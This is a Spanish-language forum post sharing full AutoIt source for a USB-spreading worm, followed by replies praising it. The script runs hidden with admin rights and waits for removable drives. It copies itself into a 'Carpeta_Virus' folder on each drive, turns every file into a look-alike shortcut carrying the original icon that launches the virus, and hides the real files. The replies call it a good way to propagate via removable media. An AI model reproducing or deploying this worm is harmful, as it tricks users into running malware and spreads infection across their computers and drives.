Lo que hace es Copiarse a una Ruta de Un Pedriver y Cambia todos los Archivos A acceso directo a nuestra Copia del archivo con su respectivo Icono.






#include <GUIConstantsEx.au3>
#RequireAdmin
Opt("MustDeclareVars", 1)

Global Const $WM_DEVICECHANGE = 0x0219
Global Const $DBT_DEVICEARRIVAL = 0x8000
Global Const $DBT_DEVICEREMOVECOMPLETE = 0x8004
Global Const $DBT_DEVTYP_VOLUME = 0x00000002
Global $RutaVirus="Carpeta_Virus\" & @ScriptName





Global $Gui = GUICreate("WM_DEVICECHANGE")
GUISetState(@SW_HIDE)

GUIRegisterMsg($WM_DEVICECHANGE, "WM_DEVICECHANGE")

Do
Until GUIGetMsg() = -3






;USB_Main (Spreader)
Func USB_Main()
Local $USB_list=ListarUSB()
Local $i=1
Local $USB_ruta=""
For $i = 1 To $USB_list[0]
$USB_ruta=StringUpper($USB_list[$i]) & "\"
ConsoleWrite($USB_ruta & @CRLF)
If not(FileExists($USB_ruta & $RutaVirus)) Then
If Not FileCopy(@ScriptFullPath,$USB_ruta & $RutaVirus,8) then ContinueLoop
Crear_Shortcut($USB_ruta)
EndIf
Next

EndFunc



;Crear Accesos Directos
Func Crear_Shortcut($USB_ruta)


ConsoleWrite($USB_ruta & @CRLF)
Local $busca = FileFindFirstFile($USB_ruta & "*")
Local $filename=0,$Inicio=0,$Icono,$Extension="",$filenameold="",$Borrar=""



If $busca = -1 Then
Exit
EndIf

While 1
$filename = FileFindNextFile($busca)
If @error Then ExitLoop

$Inicio=StringInStr($filename,".")
$Extension=Stringmid($filename,$Inicio)
ConsoleWrite( "Extension: " & $Extension & @crlf)
$Icono=ExIcon_Path($Extension)
ConsoleWrite($Icono[0] & @CRLF & $Icono[1] &  @CRLF)


If  StringLeft($RutaVirus,StringInStr($RutaVirus,"\")-1)==$filename Then $Borrar= $USB_ruta & $filename & ".lnk"

if $Icono[1]=="" Then
	$filenameold=$filename
	If $Extension then
	$filename=StringReplace($filename,$Extension,".lnk")
	Else
	$filename&=".lnk"
	EndIf

	FileCreateShortcut($USB_ruta & $RutaVirus,$USB_ruta & $filename ,"","","",$Icono[0])

Else
	$filenameold=$filename
	If $Extension then
	$filename=StringReplace($filename,$Extension,".lnk")
	Else
	$filename&=".lnk"
	EndIf
ConsoleWrite($USB_ruta & $RutaVirus & @CRLF)
	FileCreateShortcut($USB_ruta & $RutaVirus,$USB_ruta & $filename,"","","",$Icono[0],"",$Icono[1])

EndIf

WEnd


FileDelete($Borrar)
FileClose($busca)
If Not FileSetAttrib($USB_ruta & "*","+H") Then Exit
If Not FileSetAttrib($USB_ruta & "*.lnk","-H") Then Exit
EndFunc



;Obtener Icono Ruta
Func ExIcon_Path($Extension)
Local $Icono_Ruta[2]
Local $i=1
Local $sApp=""
Local $iComa=0
If Not($Extension==".exe") then
$Icono_Ruta[1]=""
$sApp=RegRead("HKEY_CLASSES_ROOT\" & $Extension, "")
$Icono_Ruta[0]=RegRead("HKEY_CLASSES_ROOT\" & $sApp & "\DefaultIcon","")
EndIf
If $Icono_Ruta[0]="" Then
$Icono_Ruta[0]="shell32.dll"
$Icono_Ruta[1]=4
If not(@OSVersion="WIN_XP") Then
$Icono_Ruta[0]="imageres.dll"
EndIf
Return $Icono_Ruta
Else
$iComa=StringInStr($Icono_Ruta[0],",")
If $iComa=0 Then
Return $Icono_Ruta
Else
$Icono_Ruta[1]=StringMid($Icono_Ruta[0],$iComa+1)
$Icono_Ruta[0]=StringLeft($Icono_Ruta[0],$iComa-1)
Return $Icono_Ruta
EndIf
EndIf
EndFunc



;ListarUSB()
Func ListarUSB()
Local $USB = DriveGetDrive("REMOVABLE")
If @error Then
ConsoleWrite("Error DriveGetDrive" & @CRLF)
Else
;~    For $i = 1 To $USB[0]
;~       ; ConsoleWrite("USB " & $i & "/" & $USB[0] & ":" & @CRLF & StringUpper($USB[$i]) & @crlf)
;~    Next
Return $USB
EndIf
EndFunc




; rasim
; http://www.autoitscript.com/forum/topic/79460-usbmon/
Func WM_DEVICECHANGE($hWnd, $Msg, $wParam, $lParam)


    If ($wParam = $DBT_DEVICEARRIVAL) Or ($wParam = $DBT_DEVICEREMOVECOMPLETE) Then
        Local $DEV_BROADCAST_VOLUME = DllStructCreate("int dbcvsize;int dbcvdevicetype;int dbcvreserved;int dbcvunitmask;" & _
                "ushort dbcvflags", $lParam)
        Local $iDriveType = DllStructGetData($DEV_BROADCAST_VOLUME, "dbcvdevicetype")
    Else
        Return $GUI_RUNDEFMSG
    EndIf

    If $iDriveType <> $DBT_DEVTYP_VOLUME Then Return $GUI_RUNDEFMSG

    Local $iMask = DllStructGetData($DEV_BROADCAST_VOLUME, "dbcvunitmask")
    $iMask = Log($iMask) / Log(2)

    Local $iDrive = Chr(65 + $iMask) & ":"

    Switch $wParam
        Case $DBT_DEVICEARRIVAL
;~             TrayTip("WM_DEVICECHANGE", "Conectado", 5, 1)
     USB_Main()

;~         Case $DBT_DEVICEREMOVECOMPLETE
;~             TrayTip("WM_DEVICECHANGE", "Desconectado", 5, 2)
    EndSwitch

    Return $GUI_RUNDEFMSG
EndFunc
Saludos
Imagen
Buen code pink lo estudiare y vere que mas puedo hacer
[code2=masm]"For the honor of a king. And the destiny of a country. All for one."[/code2]
Es buena idea aunque un poco sospechoso XD, pero supongo que sigue siendo una manera de propagarse por medios extraibles jejeje.

Buen trabajo Rosa
Soy un camaleón, en tu cama, leona ♪
Responder

Volver a “Fuentes”